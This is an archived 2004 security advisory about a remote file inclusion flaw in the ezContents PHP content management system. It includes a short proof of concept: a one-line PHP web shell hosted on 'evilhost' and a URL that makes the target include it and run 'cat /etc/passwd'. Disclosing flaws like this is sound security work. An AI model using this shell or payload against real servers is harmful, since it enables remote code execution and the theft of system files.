[UNIX] Remote Code Execution in ezContents

• Previous message: SecuriTeam: "[UNIX] PHP Manpage Lookup File Disclosure"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 13 Jan 2004 19:27:10 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Remote Code Execution in ezContents
------------------------------------------------------------------------

SUMMARY

 <http://www.ezcontents.org/> ezContents is "an Open-Source website
content management system based on PHP and MySQL. Features include
maintaining menus and sub-menus, adding authors that write contents,
permissions, workflow, and layout possibilities for the entire look of the
site by simple use of settings".

The product has been found to contain a vulnerability that would allow a
remote attacker to cause the PHP script to include an external PHP file
and execute its content. This would allow an attacker to cause the server
to execute arbitrary code.

DETAILS

Vulnerable systems:
 * ezContents version 2.0 RC3 and prior

Example:
Create the following file on your webserver:
----index.php----
<?
system($cmd);
?>
-----------------

Then type in the following URL:
http://targethost/module.php?link=http://evilhost/index.php&cmd=cat
/etc/passwd

This will cause the targethost server to download the index.php file from
the host evilhost and execute system("cat /etc/passwd").

ADDITIONAL INFORMATION

The information has been provided by <mailto:zero-x@linuxmail.org> Zero_X
www.lobnan.de Team.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] PHP Manpage Lookup File Disclosure"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Relevant Pages

• [UNIX] PHP cURL Safe_mode Bypass
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... PHP is "an HTML-embedded
  scripting language. ... supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading
  (this can ... (Securiteam)
• [UNIX] PHP strip_tags() bypass vulnerability
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... According to Security
  Space PHP is the most popular Apache module and is ... Many sites stop XSS attacks by striping
  unsafe HTML tags from the user's ... (Securiteam)
• [UNIX] PHP / Apache DoS (Resource Consumption)
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... PHP and Apache based
  hosting is becoming very popular these days. ... of service attack against the web server
  can be created using a very ... (Securiteam)
• [UNIX] Popper Webmail Code Execution
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... "Popper is a webmail application
  written in PHP that allows users to read ... Vulnerability can be exploited only
  if register_globals in php.ini file is ... (Securiteam)
• [UNIX] MAXdev MD-Pro Multiple Vulnerabilities (Code Execution, Path Disclosure and CSS)
  ... The following security advisory is sent to the securiteam mailing list, and can be
  found at the SecuriTeam web site: http://www.securiteam.com ... Type of files you can execute
  depends on server configuration should be ... better to set which type of files a user CAN upload.
  ... (Securiteam)